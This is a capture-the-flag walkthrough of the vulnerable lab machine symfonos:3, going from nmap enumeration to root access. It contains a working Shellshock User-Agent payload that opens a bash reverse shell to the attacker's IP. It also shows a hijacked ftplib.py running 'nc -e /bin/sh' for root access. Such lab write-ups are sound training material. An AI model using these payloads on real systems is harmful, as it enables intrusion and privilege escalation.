

I'm back 3 months later! Been a bit busy with school and a new job! Yes, I'm working as a penetration tester for Integrity in Portugal, the biggest security consultant here (22 November 2021)

```
(kali㉿kali)-[~]
└─$ nmap -A 10.0.2.4 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-22 08:42 EST
Nmap scan report for 10.0.2.4
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.5b
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
|_ ssh-hostkey:
|_   2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
|_   256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_   256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
|_ _http-title: Site doesn't have a title (text/html).
|_ _http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
3
7 
3
3 <!-- Can you bust the underworld? -->
3
1 </body>
2 </html>
3
```

Yes i can, /gate/

And now /gate/cerberus

.  
.  
.

/gate/cerberus/tartarus

/gate/cerberus/tartarus/hermes and /gate/cerberus/tartarus/research

```

<!-- The underworld can be cruel... but it can also be misleading. -->
```

Great, a dead end....

But there's /cgi-bin/underworld and it is vulnerable to shellshock!

This gets us a shell

```
Request
Pretty Raw Hex \n
1 GET /cgi-bin/underworld HTTP/1.1
2 Host: 10.0.2.4
3 User-Agent: () { ;; }; echo; echo; /bin/bash -i >& /dev/tcp/10.0.2.15/1337 0>&1
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9
10
```

```
cerberus@symfonos3:/tmp$ whoami
whoami
cerberus
cerberus@symfonos3:/tmp$ |
```

TCPdump is installed, so let's start a capture on loopback... The file will be saved on the root of the website so I can download it more easily to my machine

There's a packet with the credentials **hades:PTpZTfU4vxgzvRBE**

And it works

```
hades@symfonos3:/usr$ whoami
whoami
hades
hades@symfonos3:/usr$ |
```

So this file is constantly being run by root

```
hades@symfonos3:/usr/lib/python2.7$ cat /opt/ftpcl      ftpc
cat /opt/ftpclient/ftpclient.py
import ftplib

ftp = ftplib.FTP('127.0.0.1')
ftp.login(user='hades', passwd='PTpZTfU4vxgzvRBE')

ftp.cwd('/srv/ftp/')

def upload():
    filename = '/opt/client/statuscheck.txt'
    ftp.storbinary('STOR '+filename, open(filename, 'rb'))
    ftp.quit()

upload()
```

And importing ftplib, which is in a directory we can edit

Editing the library...

```
bash-4.2$ cat ftpl
cat ftplib.py

import os
cmd = '/bin/nc -e /bin/sh 10.0.2.15 4242'
os.system(cmd)
bash-4.2$ |
```

And we got it

```
(kali㉿kali)-[~]
$ nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 42188
id
uid=0(root) gid=0(root) groups=0(root)
|
```

This one sure was hard. But I guess I've got to push my limits more often If I want to improve :)

```
root@symfonos3:~# cat proof
cat proof.txt
```

Congrats on rooting symfonos:3!



Contact me via Twitter @zayotic to give feedback!

```
root@symfonos3:~# |
```